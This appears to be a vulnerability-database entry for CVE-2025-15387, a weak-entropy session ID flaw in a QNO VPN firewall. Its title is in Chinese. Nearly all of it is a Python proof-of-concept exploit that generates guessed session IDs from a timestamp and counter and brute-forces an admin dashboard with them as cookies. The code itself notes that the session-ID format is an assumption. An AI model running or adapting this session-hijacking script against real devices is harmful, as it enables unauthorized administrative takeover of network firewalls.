CVE-2025-15387 QNO VPN Firewall 会话标识符熵不足漏洞

import requests import itertools import string import time # CVE-2025-15387 PoC - QNO VPN Firewall Session Hijacking # Target: QNO Technology VPN Firewall with Insufficient Entropy TARGET_URL = "http://target-vpn-firewall.local" SESSION_ENDPOINT = "/api/session" BRUTE_FORCE_CHARSET = string.ascii_lowercase + string.digits def generate_session_candidates(base_pattern, length=16): """Generate possible session ID candidates based on weak entropy pattern""" # Assuming session IDs follow predictable format based on timestamp timestamp_part = str(int(time.time()))[:8] # Generate candidates with limited charset due to low entropy candidates = [] for i in range(10000): # Limited combinations due to weak randomness candidate = f"{timestamp_part}{str(i).zfill(8)}" candidates.append(candidate[:length]) return candidates def test_session_hijack(session_id): """Test if session ID is valid and active""" cookies = {"SESSIONID": session_id} try: response = requests.get( f"{TARGET_URL}/admin/dashboard", cookies=cookies, timeout=5 ) if response.status_code == 200 and "admin" in response.text.lower(): return True except: pass return False def exploit(): """Main exploitation function""" print("[*] Starting session hijacking attack for CVE-2025-15387") print("[*] Target:", TARGET_URL) # Generate candidates based on weak entropy candidates = generate_session_candidates("session_") print(f"[*] Generated {len(candidates)} session candidates") for idx, candidate in enumerate(candidates): if test_session_hijack(candidate): print(f"[!] Valid session found: {candidate}") print("[!] Session hijack successful - attacker now authenticated") return candidate if idx % 100 == 0: print(f"[*] Progress: {idx}/{len(candidates)} attempts") print("[-] No valid session found") return None if __name__ == "__main__": exploit()